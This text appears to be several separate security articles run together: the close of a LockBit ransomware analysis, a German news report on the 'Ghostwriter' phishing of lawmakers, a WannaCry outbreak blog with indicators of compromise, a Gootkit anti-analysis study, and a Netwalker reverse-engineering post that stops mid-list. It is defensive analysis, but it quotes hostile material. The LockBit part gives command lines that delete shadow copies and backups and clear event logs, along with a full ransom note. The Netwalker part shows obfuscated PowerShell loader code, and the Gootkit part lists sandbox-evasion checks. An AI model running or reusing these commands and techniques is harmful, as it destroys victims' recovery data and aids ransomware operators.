predefined services, passing each service to `OpenServiceA` to check the existence of that service. If the service exists, it’ll check its status by calling `QueryServiceStatusEx`, and it will call `ControlService` with the parameter `0x00000001: SERVICE_CONTROL_STOP` to stop the service. In order to not cause any crashes to the system, LockBit will stop all the dependent services by calling `EnumDependentServicesA` before stopping the target service. Those services are mostly backup services, anti-virus services, and other services that may lock some files due to having handles to them. Here is a list of the services that LockBit tries to stop: - wrapper - DefWatch - ccEvtMgr - ccSetMgr - SavRoam - Sqlservr - sqlagent - sqladhlp - Culserver - RTVscan - sqlbrowser - usbarbitator64 - vmware-converter - dbsrv12 - dbeng8 - MSSQL$MICROSOFT##WID - MSSQL$VEEAM - SQL2012 - SQLAgent$VEEAM - SQL2012 - SQLBr - Exchange - MSSQL$MICROSOFT##SSEE - MSSQL$SBSMONITORING - MSSQL$SHAREPOINT - MSSQLFDLauncher$SBSMON ### Excluding Files And Directories To avoid any system crashes and to ensure that the system has functional browsers for connection and negotiation, besides avoiding entering an infinite loop of encrypting the already encrypted files and not encrypting the ransom notes, LockBit has a list of files, folders, and extensions exclusions. Here is the list of exclusions: - windows - intel - recycle.bin - tor browser - windows - nt - msbuild - microsoft - all users - system volume information - perflogs - google - appdata - mozilla - microsoft .net - microsoft shared - internet explorer - common files - opera - intel - windows - journal - ntldr - ntuser.dat.log - bootsec.bak - autorun.inf - thumbs.db - iconcache.db - restore-my-files.txt - .386 - .cmd - .ani - .adv - .theme - .msi - .msp - .com - .diagpkg - .nls - .diagcab - .lock - .mpa - .cpl - .mod - .hta - .i ### Mutex Creation For avoiding multiple infections on the same host, LockBit creates the following mutex: `Global\{BEF590BE-11A6–442A-A85B-656C1081E04C}`. Firstly, it will try to open that mutex by calling `OpenMutexA`. If it succeeds, which means that the host is already infected, it will exit the process; otherwise, it’ll call `CreateMutexA` for creating the mutex, then it’ll proceed with the rest of the malware functionality. ### Persistence In order to maintain persistence and service reboots, LockBit creates the following registry key: `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XO1XADpO01` with a value of its path on disk. ### Shutdown Prevention In order to ensure that the encryption operation didn’t get disrupted even by shutting the system down, LockBit will create a shutdown block reason by calling `ShutdownBlockReasonCreate`. ### Network Enumeration In order to ensure infecting as many victims as possible, LockBit scans the attached drivers and network shares. When it finds files that meet its previously discussed requirements, it’ll also encrypt those files. LockBit starts this function by calling `GetLogicalDrives` to get a bitmask representing the currently available disk drivers. Then, it loops over them and passes them to `GetDriveTypeW` to determine the type of the driver, whether it is a removable, fixed, CD-ROM, RAM disk, or network drive. It specifically looks for `0x4: DRIVE_REMOTE`. Once it finds a networked drive, it calls `WNetGetConnectionW` to retrieve the name of that network resource, then it will do recursive calls to `WNetOpenEnumW` and `WNetEnumResourceW` to enumerate the folders and files of that network resource. LockBit can also access the network shares that require user credentials by calling `WNetAddConnection2W` with `lpUserName=0` and `lpPassword=0`, which automatically sends the username and password of the currently logged-in user. ### The Ransom Note While LockBit is performing the encryption, it will drop a text file called `Restore-My-Files.txt`, which is the ransom note. ``` All your important files are encrypted! Any attempts to restore your files with third-party software will be fatal for your files! RESTORE YOUR DATA POSSIBLE ONLY BY BUYING the private key from us. There is only one way to get your files back: 1. Download Tor browser - and install it. 2. Open link in TOR browser - ?A0C155001DD0CBxxxEDA0D This link only works in Tor Browser! 3. Follow the instructions on this page ### Attention! ### # Do not rename encrypted files. # Do not try to decrypt using third-party software; it may cause permanent data loss. # Decryption of your files with the help of third parties may cause increased price (they add their fee to ours). # Tor Browser may be blocked in your country or corporate network. Use a VPN. # Tor Browser user manual We also downloaded a huge amount of your private data, including financial information, clients' personal info, network diagrams, passwords, and so on. Don't forget about GDPR. ``` The content of this file is also encrypted and it has been decrypted in memory before writing the files. ### Self Deleting After a successful execution, LockBit will delete its executable to reduce the artifacts it leaves on the infected system. In order to do that, it runs the following command: ``` C ping 1.1.1.1 -n 22 > Nul & \ <the path to the executable> ``` ### Inhibiting System Recovery As almost all ransomware does, LockBit will delete the volume shadow copies, the backup catalog, disable automatic Windows recovery, and clear the Windows logs as well by running the following commands: ``` /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled No & wbadmin delete catalog -quiet /c vssadmin Delete Shadows /All /Quiet /c bcdedit /set {default} recoveryenabled No /c bcdedit /set {default} bootstatuspolicy ignoreallfailures /c wbadmin DELETE SYSTEMSTATEBACKUP /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest /c wmic SHADOWCOPY /nointeractive /c wevtutil cl security /c wevtutil cl system /c wevtutil cl application ``` ### Mitre TTPs The following is a list of the most important MITRE ATT&CK TTPs identified while analyzing the malware. Thanks for reading; your comments and feedback are most welcomed.
# Hack gegen Abgeordnete: Russische Gruppe „Ghostwriter“ attackiert offenbar Parlamentarier Der Bundestag ist erneut das Ziel von mutmaßlich russischen Hackern geworden. Nach SPIEGEL-Informationen wurden die Rechner von mindestens sieben Bundestagsabgeordneten angegriffen. Die Attacke der Gruppe namens „Ghostwriter“ soll über sogenannte Phishing-E-Mails an die privaten Mailadressen der Politiker gelaufen sein, also Nachrichten von vermeintlich vertrauenswürdigen Absendern, deren Ziel es ist, den gesamten Account zu kapern. Ob Daten abgeflossen sind, ist zurzeit noch unklar. Die angegriffenen Politiker gehören mehrheitlich den Regierungsparteien CDU/CSU und SPD an. Außerdem sind von der Attacke nach SPIEGEL-Informationen auch 31 Landtagsabgeordnete betroffen. Sicherheitsexperten vermuten den russischen Militärgeheimdienst GRU hinter den Attacken. In Deutschland wurden laut Regierungskreisen neben Abgeordneten auch politische Aktivisten in Hamburg und Bremen angegriffen, insgesamt sollen einige Dutzend Personen betroffen sein. Die Gruppe hinter den Angriffen existiert schon länger, das US-Sicherheitsunternehmen FireEye hat sie „Ghostwriter“ getauft. Laut IT-Experten war sie bislang als „Hack&Leak“-Organisation und vor allem für Desinformationskampagnen bekannt. Wie FireEye im vergangenen Jahr berichtete, habe sich die Gruppe „Ghostwriter“ auf das Produzieren von Falschnachrichten spezialisiert. Die Hacker verschafften sich demnach Zugang zu populären Nachrichtenseiten oder Blogs, um dort gefälschte Artikel oder Fotos zu veröffentlichen. So wurde in einer auf einer baltischen Seite platzierten Meldung am 25. September 2019 behauptet, deutsche Nato-Soldaten hätten einen jüdischen Friedhof in Litauen geschändet. Illustriert wurde der frei erfundene Vorfall mit einem manipulierten Foto. In einer Nachricht vom 7. Juni 2018 hieß es fälschlicherweise, ein litauisches Kind sei von einem Nato-Panzer überfahren worden. Und bereits am 28. März 2017 wurde ein deutscher Bundeswehroffizier, der bei der Nato in Litauen stationiert war, in einer Meldung beschuldigt, ein russischer Spion zu sein. Auch gefälschte Schreiben und Zitate von Nato-Generalen verbreiteten die Hacker. Laut FireEye läuft die Kampagne seit 2017 und hat sich zunächst vor allem an Leserinnen und Leser in Litauen, Lettland und Polen gerichtet, um Stimmung gegen die Nato zu schüren. Die Gruppe richte sich deutlich an russischen Sicherheitsinteressen aus, heißt es in einer Analyse des IT-Unternehmens. Sicherheitsbehörden vermuten deshalb dahinter den russischen Geheimdienst GRU. Der militärische Nachrichtendienst steckte nach Überzeugung deutscher Sicherheitsbehörden auch hinter dem Angriff auf den Bundestag im Jahr 2015. Damals wurden mehrere Rechner attackiert, auch jene im Abgeordnetenbüro von Bundeskanzlerin Angela Merkel. Insgesamt flossen damals mehr als 16 Gigabyte Daten ab. Der Generalbundesanwalt erwirkte im vergangenen Jahr einen Haftbefehl gegen den russischen Hacker Dmitri Badin. Er soll maßgeblich an dem Cyberangriff beteiligt gewesen sein und für den GRU arbeiten. Wegen der neuen Angriffswelle haben das Bundesamt für Sicherheit in der Informationstechnik und das Bundesamt für Verfassungsschutz inzwischen ein Warnschreiben an potenzielle Opfer verschickt. Darin heißt es nach SPIEGEL-Informationen, dass die Betroffenen im Fokus einer gezielten Phishing-Attacke stünden. Der Verfassungsschutz, so heißt es in dem Schreiben weiter, gehe von einem „nachrichtendienstlichen Hintergrund“ aus. Die Angreifer versuchten gezielt, E-Mail-Konten zu übernehmen, um diese für „weitere Aktivitäten“ zu nutzen. Betroffen seien aktuell E-Mail-Adressen bei den Anbietern GMX und T-Online. Die Angreifermails erweckten den falschen Eindruck, offizielle Warnmails der Provider zu sein.
# Global WannaCry Ransomware Outbreak Uses Known NSA Exploits **Holger** **May 12, 2017** Following the emergence of the Jaff ransomware attack campaign earlier this week, another, even bigger outbreak is making headlines. The culprit? A new ransomware family called WannaCry or WCry. Spotted earlier today, WCry caught the attention of the team due to it being spread via the recently exposed NSA shadow broker exploits. WCry took many businesses and public institutions by surprise, including telco giant Telefonica in Spain and the National Health Service in the United Kingdom, and has already infected tens of thousands of systems across the globe. Security researcher MalwareTech created a map of overall infections and a real-time map of infections to visualize the number of WCry infections, which has surpassed the 350,000 infection mark across more than 100 countries worldwide. ## Meet WannaCry Ransomware The WCry ransomware, also referred to as WNCry, WannaCry, WanaCrypt0r, or Wana Decrypt0r, was originally spotted in campaigns in early February 2017, with more campaigns following in March. But it wasn’t until now that a global attack had been registered. It has been written in C++ and no attempts have been made to hide the majority of the code. Like most ransomware families, WCry renames files it encrypts, adding the .WNCRY extension. When infecting a system, it presents a ransom screen asking to pay $300 worth of bitcoins. Unlike most ransomware campaigns, which usually target specific regions, WCry is targeting systems around the globe. So it comes as no surprise that the ransomware authors provide localized ransomware messages for more than 20 languages: - Bulgarian - Chinese (simplified) - Chinese (traditional) - Croatian - Czech - Danish - Dutch - English - Filipino - Finnish - French - German - Greek - Indonesian - Italian - Japanese - Korean - Latvian - Norwegian - Polish - Portuguese - Romanian - Russian - Slovak - Spanish - Swedish - Turkish - Vietnamese ## How Do You Get Infected with WCry Ransomware? At the moment, WCry is primarily spreading via the leaked NSA exploits that the Shadow Brokers group released recently. More specifically, French researcher Kaffine was the first to suspect that WCry was being spread via the ETERNALBLUE exploit. ETERNALBLUE exploits a vulnerability in the Microsoft SMBv1 protocol, allowing an attacker to take control over systems which: - have the SMBv1 protocol enabled - are accessible from the internet - have not been patched by the MS17-010 fix released back in March 2017 In addition, it appears that the malware authors are also taking advantage of DOUBLESPEAR, a backdoor that is usually installed via the ETERNALBLUE exploit and persists on the system. So if your system was compromised by ETERNALBLUE previously, chances are your system is still vulnerable, even if the initial SMBv1 vulnerability was patched. The ransomware executable itself can be best described as a dropper that contains all the different ransomware components in the form of a password-protected ZIP archive within its file. When run, it will start unpacking its components to the directory it was executed in using the hardcoded password “[email protected]”. Closer inspection of the ZIP archive reveals the following files: - b.wnry – Ransom desktop wallpaper - c.wnry – Configuration file containing C2 server addresses, BitCoin Wallet, etc. - r.wnry – Ransom note - s.wnry – ZIP archive containing the TOR client - t.wnry – The encryption part of the ransomware encrypted using a WanaCry specific format; can be decrypted using the private key embedded inside the ransomware executable. - u.wnry – Decrypter executable - Taskdl.exe – Deletes all temporary files created during encryption (.WNCRYT) - Taskse.exe – Runs given program in all user sessions - msg* – Language files (currently 28 different languages) In addition, the ransomware creates a couple of additional files during its execution: - 00000000.eky – Encryption key for the t.wnry file which stores the actual file encryption component used by the ransomware. It is encrypted using the public key that belongs to a private key embedded inside the ransomware. - 00000000.pky – Public key used by the ransomware to encrypt the generated AES keys that are used to encrypt the user’s files - 00000000.res – Command & Control Server (C2) communication results A list of all changes made by the ransomware to an infected system can be found in the “Indicators of Compromise” section below. ## WCry Key Generation and Encryption WCry ransomware uses a combination of RSA and AES-128-CBC to encrypt the victim’s data. To facilitate this process, it uses the Windows CryptoAPI for RSA, but a custom implementation for the AES encryption. Interestingly, the encryption routine is stored in a separate component within the t.wnry file and is itself encrypted using the same method used by the ransomware to encrypt user files. This was likely done to make the malware analysis more difficult. The module is loaded into memory using a custom loader and executed from there, without ever being written to the victim’s disk unencrypted. When WCry arrives on a system, it will first import a hardcoded private RSA key that is used to decrypt the file encryption component stored within “t.wnry”. Once done, the ransomware will generate a new private RSA key. That RSA key is then submitted to the malware’s command and control server and a copy of the generated public key is stored on the system. The ransomware then searches all available drives and network shares for files with one of the following extensions: - .der, .pfx, .key, .crt, .csr, .p12, .pem, .odt, .ott, .sxw, .stw, .uot, .3ds, .max, .3dm, .ods, .ots, .sxc, .stc, .dif, .slk, .wb2, .odp, .otp, .sxd, .std, .uop, .odg, .otg, .sxm, .mml, .lay, .lay6, .asc, .sqlite3, .sqlitedb, .sql, .accdb, .mdb, .db, .dbf, .odb, .frm, .myd, .myi, .ibd, .mdf, .ldf, .sln, .suo, .cs, .cpp, .pas, .asm, .js, .cmd, .bat, .ps1, .vbs, .vb, .pl, .dip, .dch, .sch, .brd, .jsp, .php, .asp, .rb, .java, .jar, .class, .sh, .mp3, .wav, .swf, .fla, .wmv, .mpg, .vob, .mpeg, .asf, .avi, .mov, .mp4, .3gp, .mkv, .3g2, .flv, .wma, .mid, .m3u, .m4u, .djvu, .svg, .ai, .psd, .nef, .tiff, .tif, .cgm, .raw, .gif, .png, .bmp, .jpg, .jpeg, .vcd, .iso, .backup, .zip, .rar, .7z, .gz, .tgz, .tar, .bak, .tbk, .bz2, .PAQ, .ARC, .aes, .gpg, .vmx, .vmdk, .vdi, .sldm, .sldx, .sti, .sxi, .602, .hwp, .snt, .onetoc2, .dwg, .pdf, .wk1, .wks, .123, .rtf, .csv, .txt, .vsdx, .vsd, .edb, .eml, .msg, .ost, .pst, .potm, .potx, .ppam, .ppsx, .ppsm, .pps, .pot, .pptm, .pptx, .ppt, .xltm, .xltx, .xlc, .xlm, .xlt, .xlw, .xlsb, .xlsm, .xlsx, .xls, .dotx, .dotm, .dot, .docm, .docb, .docx, .doc, .c, .h Once done, the malware will generate a new 128-bit AES key for every file it found, which is encrypted using the public RSA key generated earlier, and the RSA-encrypted AES key is stored within the header of the encrypted file, together with the file marker “WANACRY!”. The AES key is then used to encrypt the file’s content. Unfortunately, after evaluating the way WCry performs its encryption, there is no way to restore encrypted files without access to the private key generated by the ransomware. So it’s not likely a free WCry ransomware decrypter will be available for victims. ## How Can I Protect Myself from WannaCry? As an emergency measure, make sure to have the latest security updates installed on your Windows computers and servers. Given the scale of the attack, Microsoft even took the unusual step to release security patches for “unsupported systems” such as Windows XP and Windows Server 2003. As explained in our ransomware article, the best protection still remains a reliable and proven backup strategy, especially since the encryption used by WCry ransomware is secure. The only way to get the data back is through the help of the ransomware author or via restoring from backups. Making sure to install critical Windows updates is also a very important step in protecting a system, as WCry only seems to be spreading via the SMBv1 exploit currently, which has been patched for 2 months already. Apart from regular backups, you will be glad to hear that the Behavior Blocker technology used by Emsisoft Anti-Malware has proven to be the next best defense, as it has caught the ransomware before the file could execute and thus once again keeping our users protected from this and hundreds of other ransomware families without the need for signatures. Emsisoft Anti-Malware users are protected from WannaCry ransomware by our Behavior Blocker. We consider ransomware one of the biggest threats of the past year and plan to do our best to continue our excellent track record in the next year, to keep our users as protected as possible. ## Indicators of Compromise **Registry:** - HKLMSOFTWAREWanaCrypt0r - HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun<random>: “<ransomware directory>tasksche.exe” - HKLMSOFTWAREWanaCrypt0rwd: “<ransomware directory>” - HKUS-1-5-21-677641349-3533616285-3951951702-1000Control PanelDesktopWallpaper: “%APPDATA%MicrosoftWindowsThemesTranscodedWallpaper.jpg” - HKUS-1-5-21-677641349-3533616285-3951951702-1000Control PanelDesktopWallpaper: “<ransomware directory>@[email protected]” **File System:** - @[email protected] – Placed inside every folder that contains encrypted files - @[email protected] – Placed inside every folder that contains encrypted files - %DESKTOP%@[email protected] - %DESKTOP%@[email protected] - %APPDATA%torcached-certs - %APPDATA%torcached-microdesc-consensus - %APPDATA%torcached-microdescs.new - %APPDATA%torlock - %APPDATA%torstate - <ransomware directory>0000000.eky - <ransomware directory>0000000.pky - <ransomware directory>0000000.res - <ransomware directory>@[email protected] - <ransomware directory>@[email protected] - <ransomware directory>b.wnry - <ransomware directory>c.wnry - <ransomware directory>f.wnry - <ransomware directory>msgm_bulgarian.wnry - <ransomware directory>msgm_chinese (simplified).wnry - <ransomware directory>msgm_chinese (traditional).wnry - <ransomware directory>msgm_croatian.wnry - <ransomware directory>msgm_czech.wnry - <ransomware directory>msgm_danish.wnry - <ransomware directory>msgm_dutch.wnry - <ransomware directory>msgm_english.wnry - <ransomware directory>msgm_filipino.wnry - <ransomware directory>msgm_finnish.wnry - <ransomware directory>msgm_french.wnry - <ransomware directory>msgm_german.wnry - <ransomware directory>msgm_greek.wnry - <ransomware directory>msgm_indonesian.wnry - <ransomware directory>msgm_italian.wnry - <ransomware directory>msgm_japanese.wnry - <ransomware directory>msgm_korean.wnry - <ransomware directory>msgm_latvian.wnry - <ransomware directory>msgm_norwegian.wnry - <ransomware directory>msgm_polish.wnry - <ransomware directory>msgm_portuguese.wnry - <ransomware directory>msgm_romanian.wnry - <ransomware directory>msgm_russian.wnry - <ransomware directory>msgm_slovak.wnry - <ransomware directory>msgm_spanish.wnry - <ransomware directory>msgm_swedish.wnry - <ransomware directory>msgm_turkish.wnry - <ransomware directory>msgm_vietnamese.wnry - <ransomware directory>r.wnry - <ransomware directory>s.wnry - <ransomware directory>t.wnry - <ransomware directory>TaskDataTorlibeay32.dll - <ransomware directory>TaskDataTorlibevent-2-0-5.dll - <ransomware directory>TaskDataTorlibevent_core-2-0-5.dll - <ransomware directory>TaskDataTorlibevent_extra-2-0-5.dll - <ransomware directory>TaskDataTorlibgcc_s_sjlj-1.dll - <ransomware directory>TaskDataTorlibssp-0.dll - <ransomware directory>TaskDataTorssleay32.dll - <ransomware directory>TaskDataTortaskhsvc.exe - <ransomware directory>TaskDataTortor.exe - <ransomware directory>TaskDataTorzlib1.dll - <ransomware directory>taskdl.exe - <ransomware directory>taskse.exe - <ransomware directory>u.wnry - C:@[email protected]
# Gootkit Banking Trojan | Deep Dive into Anti-Analysis ## Features In this post, Daniel discusses the Gootkit malware banking trojan and its use of Anti Analysis techniques. The Gootkit Banking Trojan was discovered back in 2014 and utilizes the Node.JS library to perform a range of malicious tasks, from website injections and password grabbing to video recording and remote VNC capabilities. Since its discovery, the actors behind Gootkit have continued to update the codebase to slow down analysis and thwart automated sandboxes. This post will take a look into the first stage of Gootkit, which contains the unpacking phase and a malicious downloader that sets up the infected system, along with its multiple anti-analysis mechanisms. ## Unpacking **MD5 of Packed Sample:** 0b50ae28e1c6945d23f59dd2e17b5632 With this specific sample, the unpacking routine is fairly trivial, as it performs self-injection. Simply put, the unpacker will: 1. Allocate a region of memory 2. Decrypt shellcode and copy to the allocated region 3. Execute the shellcode, decrypting the first stage Gootkit executable 4. Overwrite unpacked with decrypted executable 5. Change protections on the decrypted executable and transfer execution to it. Therefore, in order to unpack it, place breakpoints on both `VirtualAlloc` and `VirtualProtect`, and look out for executable headers appearing in the allocated regions of memory. **MD5 of Unpacked Sample:** c342af62302936720e52679bc431d5a8 Immediately upon opening the sample in IDA, you’ll notice the use of the `CreateThread` API – this is used excessively throughout the binary, potentially as an anti-dynamic analysis method. It becomes quite difficult to debug the program due to the fact that multiple threads are running at once; however, this can be avoided by focusing on one thread per execution. Static analysis methods are also hindered due to the levels of obfuscation utilized by the sample. While there are quite a few strings in plaintext, nearly all of the important strings used are decrypted at runtime, using a simple but effective XOR algorithm. Not only are the strings encrypted, they are also stored as stack strings, making it more complex to extract the important data. As mentioned previously, the algorithm is fairly simple. Essentially, what happens is there are two different “strings.” The first string (typically shorter) will loop around, XOR’ing each byte with a byte of the second string. An example of this algorithm in Python can be seen below. The example above will return the string `kernel32.dll`. Before Gootkit begins to perform its malicious routines, it first checks the arguments passed to it – this determines the path it follows. The possible arguments that Gootkit accepts are: - `--reinstall` - `--service` - `-test` - `--vwxyz` If no argument is given, Gootkit will perform a setup routine and then execute itself with the `--vwxyz` argument. The `-test` argument simply causes the process to exit, whereas the `--reinstall` argument will reinstall Gootkit using the persistence method that will be covered in the next post. Finally, the `--service` argument will set an additional environment variable, specifically the variable name `USERNAME_REQUIRED`, with the value set as `TRUE`. In this post, we will be focusing primarily on the setup phase to understand the steps Gootkit takes before executing itself with the `--vwxyz` argument. ## Anti-Analysis Functionality As mentioned previously, Gootkit packs plenty of Anti-Analysis features to evade sandboxes, prevent execution in a Virtual Machine, and slow down analysis. Interestingly, the functions responsible for these features are skipped if a specific environment variable is set. The variable that is set during runtime is named `crackmeololo`, and the value given to it is `navigator`. When it comes to checking the value, rather than compare it to a string, Gootkit will utilize CRC-32/JAMCRC hashing in order to check the validity. If the CRC hashes don’t match, the system checks begin. The first check that Gootkit performs is a filename check. Simply put, there is a hardcoded list of CRC hashed filenames inside the binary, which are compared against the hash of the current filename. If a match is found, Gootkit will create a batch file that will delete the original executable. The process will then exit. A list of the filenames that Gootkit searches for can be seen below. - SAMPLE.EXE - MALWARE.EXE - BOT.EXE - SANDBOX.EXE - TEST.EXE - KLAVME.EXE - MYAPP.EXE - TESTAPP.EXE The next checks are performed almost immediately after the filename check. Gootkit will create another thread, where it will output the string “MP3 file corrupted” using `OutputDebugStringA`, and then check the environment variable `crackmeololo` once again. If the CRC hashes match, it will continue on to decrypt the onboard configuration; if not, it will perform a more in-depth check of the environment. First, it begins by opening the registry key `HardwareDESCRIPTIONSystemCentralProcessor0`, and then queries the `ProcessorNameString`, comparing the value to `Xeon`. The Xeon processor is used in servers primarily, and not in laptops or desktops. This is a good indicator that the malware is running in a sandbox, so if it is detected, Gootkit will enter an endless sleep-loop cycle. If Xeon is not detected, execution will resume; however, the next check is a lot more intensive. Similar to the filename check, Gootkit also contains a hardcoded list of MAC address identifiers used to detect sandboxes or VMs. After loading `RPCRT4.DLL`, it will call `UuidCreateSequential`, which uses the MAC Address to create a GUID. If any of the values match, it will enter an infinite sleep-loop cycle once again. A list of the hardcoded MAC Addresses along with the corresponding vendors can be seen below. - F01FAF00 Dell - 00505600 VMWare - 8002700 PCS System Technology GmbH - 00C2900 VMWare - 00056900 VMWare - 0003FF00 Microsoft - 001C4200 Parallels - 00163E00 XenSource Next, Gootkit will call `GetModuleHandleA` in an attempt to get a handle to either `dbghelp.dll` and `sbiedll.dll`, in an attempt to detect a present debugger or the sandbox Sandboxie. If a handle is returned successfully, an infinite sleep cycle will occur. Continuing on, the current username will be retrieved with a call to `GetUserNameA`, and compared to `CurrentUser` and `Sandbox`. The computer name will then be retrieved and compared to `SANDBOX` and `7SILVIA`. If any of these match, the sample will enter into an infinite sleep cycle. Continuing on, Gootkit will query `HARDWAREDESCRIPTIONSystemSystemBiosVersion` and compare the value to: `AMI`, `BOCHS`, `VBOX`, `QEMU`, `SMCI`, `INTEL – 6040000`, `FTNT-1`, and `SONI`. Once again, match = infinite sleep cycle. Yet another registry query is performed, this time with the key `HARDWAREDescriptionSystemVideoBiosVersion`, with the value being compared to `VirtualBox`. Finally, it queries `SOFTWAREMicrosoftWindowsCurrentVersionSystemBiosVersion` or `HARDWAREDESCRIPTIONSystemSystemBiosVersion` for three values that correspond to Joe Sandbox and CWSandbox: - 55274-640-2673064-23950: Joe Sandbox - 76487-644-3177037-23510: CWSandbox - 76487-337-8429955-22614: CWSandbox If all checks are passed, then execution of the sample will continue, by setting up persistence and retrieving the payload from the C2 server. Before doing that, it will check its filename once again, using the same CRC hashing we saw earlier. In the next post, we will take a look at the persistence method used by Gootkit, and examine the `--reinstall` pathway, as well as the communications routine used by the sample to retrieve the final stage.
# Netwalker Ransomware – From Static Reverse Engineering to Automatic Extraction Netwalker ransomware has been around since at least 2019 and has recently been in the news from a TrendMicro report detailing it being leveraged embedded in a PowerShell script. We will briefly go over how to recover the DLL files from the first script; it contains a large Base64 chunk of data that is base64 decoded and executed: ```powershell InVokE-ExPRESSIoN -COMmand $([StrinG]([SySTEM.TexT.ENcOdInG]::ASCII.GETStRiNG([SysTEM.CoNVErT]: :FRomBAsE64StRiNG(“ICA <..snip..> ``` The next script layer then has an array of bytes which will be XOR decoded: ```powershell [bYTE[]] $eFGCSjWKKPqLGPIYp = @(0x67,0x67,0x1C,0x25,0x3e,0x33,0x22,0x1c,0x1A,0x1A,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x63,0x37,0x33,0x01,0x31,0x0C, for ($qTOJScZVUn = 0; $QTOjsCZvUn -lt $eFGCSjWKKPQLGpIYP.LeNgth; $qtOJscZvUN++) { $EFGCSjWKKPqlGpIYP[$qtOJscZVUN] = $EFGCSJWkkPqLGPIYP[$QtOJscZvUN] -BxOr 0x47 } ``` Finally, we are left with the main script layer that will load the DLL into memory: ```powershell [bYTE[]] $eFGCSjWKKPqLGPIYp = @(0x67,0x67,0x1C,0x25,0x3e,0x33,0x22,0x1c,0x1A,0x1A,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x63,0x37,0x33,0x01,0x31,0x0C, for ($qTOJScZVUn = 0; $QTOjsCZvUn -lt $eFGCSjWKKPQLGpIYP.LeNgth; $qtOJscZvUN++) { $EFGCSjWKKPqlGpIYP[$qtOJscZVUN] = $EFGCSJWkkPqLGPIYP[$QtOJscZvUN] -BxOr 0x47 } ``` The first thing the DLL does is resolve all of its needed functions. Dynamic function resolution such as this normally involves some form of string hashing, in this case, it is CRC32. ```python >>> hex(zlib.crc32(‘FindResourceA’) % (1<<32))’0x3e006b7a’ ``` After resolving, there is a function responsible for simply getting the beginning address of the previous table. Shortly after resolving the needed functions, the DLL gets its resource section. A little ways down, this data is passed off to another function which has a noticeable loop inside of it that is RC4 KSA. If you are wanting to identify some of these common routines, I frequently recommend that people compile some files themselves and then take a look at them in a debugger or a disassembler. Routines I would recommend becoming familiar with will be included at the end of this blog. So since the resource section appears to be RC4 decrypted, let’s take a look at the data: ```python >>> r = get_rsrc(pe) >>> data = r[0][1] >>> data[:100]”\x07\x00\x00\x00cZu-H!<\x9b\xc5E\xder\x88&D\xf0\xd7{@\x00\xa9m\xa1\x1e\x8b\xac\xf7Z\xb4|\xc9&[\x03\x1cY\xde\xf5\x8dA\x97C:8y\xb5&\x07\xb8q\xed\xe1^\xfd<\x98\x92\x95\x1a\xa6\xf7\xea\x07\xea\x18v\xe1\x0f\xa1\xdcmR\x8c\x85’I\t\xc9\x12\x8e\xe5\x9d+\xc2\x7f\x00G\x01-Jp\xd48 “ ``` The first 4 bytes appear to be a DWORD value stored as little endian. Since I didn’t see a reference to any hardcoded data being used as a RC4 key from the DLL and a small DWORD value is the first thing in this resource section, I’m going to assume it is some sort of a length value. Perhaps a key length? ```python >>> import struct >>> from Crypto.Cipher import ARC4 >>> struct.unpack_from(‘<I’, data)(7,) >>> key = data[4:4+7] >>> rc4 = ARC4.new(key) >>> t = rc4.decrypt(data[4+7:]) >>> t[:100]'{“mpk”:”+1KtL9ibbeqaChhoz4iEHeTtRtw8pNA5yC034\\/3klSA=”,”mode”:0,”spsz”:15360,”thr”:1500,”namesz”:8,”‘ ``` Now that we have decrypted the config, we need to find more samples and see if we can decode more configs. I use VirusTotal sometimes, and I understand it’s not something everyone has access to, so I will upload all the samples I end up going through onto MalwareBazaar. For pivoting in order to find more samples, I will normally turn to YARA and use a service that allows for scanning malware repositories. Most of these services are either paid or private, so you will normally obtain access to them as you progress into the world of malware research. VirusTotal has a convenient way to quickly search for hex strings using content searching, so I pick a string that looks like it will remain static in this malware stub or template but will not give me a bunch of false positives. Sometimes this is harder than not, and in this case, the string I went with was actually my 3rd attempt. Here we have two constant strings associated with SALSA20 or CHACHA20 encryption, and following it is a DWORD value associated with hashing, kind of odd to see them back to back that way in the binary. We can convert this to a hexlified string for doing VT content searching: ```plaintext content:”{657870616e642033322d62797465206b657870616e642031362d62797465206b982f8a42}” ``` Searching in VirusTotal shows this to be a pretty good string for finding Netwalker related samples! Surprisingly enough, it turns up lots of samples as well. So now we need a decoder, or a way to automate decoding the config data from the files. Let’s build out a decoder, we need to: - Read a file in - Fix up MZ stomping - Retrieve the resources - Find the key length - RC4 decode - Print config Let’s set up for the first part for retrieving the resources. The full script can be found as part of the Zero2Automated Advanced Malware Analysis Course. Taking our script and the files from our content pivoting, we will check the first 25 files and find that our script seems to work. We found a number of samples with new ‘mpk’ values but also one of the mailto samples instead of using onion domains: ```json {“mpk”:”ESw9E\/AaTiQ9oZfLKNquj2dHV3TqTFU8c4zjg7HLHRc=”,”mode”:0,”spsz”:15360,”thr”:1500,”namesz”:8,”idsz”:6,”pers”:false,”onion1″:”pb3 Readme.txt”,<..snip..> {“mpk”:”9WMeeC/lNogGtJPPRqQRzty2DMwgPRBWyU7mLzp992E=”,”mode”:0,”thr”:1500,”spsz”:51200,”namesz”:8,”idsz”:5,”crmask”:”.mailto[{mail1}].{id}”,”mail”:[“[email protected]”,”[email protected]”],”lfile”:”{ID}-Readme.txt”,<..snip..> ``` So now we just need to decode more files. After decoding a larger data set, I found that they all seemed to be using the same onion domains but managed to find a number of samples using email addresses as well: ```plaintext [email protected] [email protected] [email protected] [email protected] [email protected]@coc ``` A quick web search of one of the emails, ‘[email protected]’, leads to a ransomed website immediately. Going through the files that didn’t decode out configs shows that we have found a number of decryptors that were uploaded to VirusTotal: ```plaintext 346fdff8d24cbb7ebd56f60933beca37a4437b5e1eb6e64f7ab21d48c862b5b744b5d24e5e8fd8e8ee7141f970f76a13c89dd26c44b336dc9d6b61fda ``` Also a DLL file that left the name embedded of ‘Netwalker_dll.dll’: ```plaintext 55870437ee97984ef461438777635b53eb52f8d83048ce3a825d95cabc2065f2 ``` ## Mine the data Now that we have a bunch of decoded configs, we can do a bit of data mining as well. We can use some bash magic to dump out the counts for ‘mpk’ values: ```plaintext 1 0OQuf4tSKXtXERycfxzsWvcWPE2xayXH1rBpyAwyhVw= 1 1B+hUSlP+KcLFtZn5q0ND6WzFyQPIHxtM1vv1zlm4TE= 4 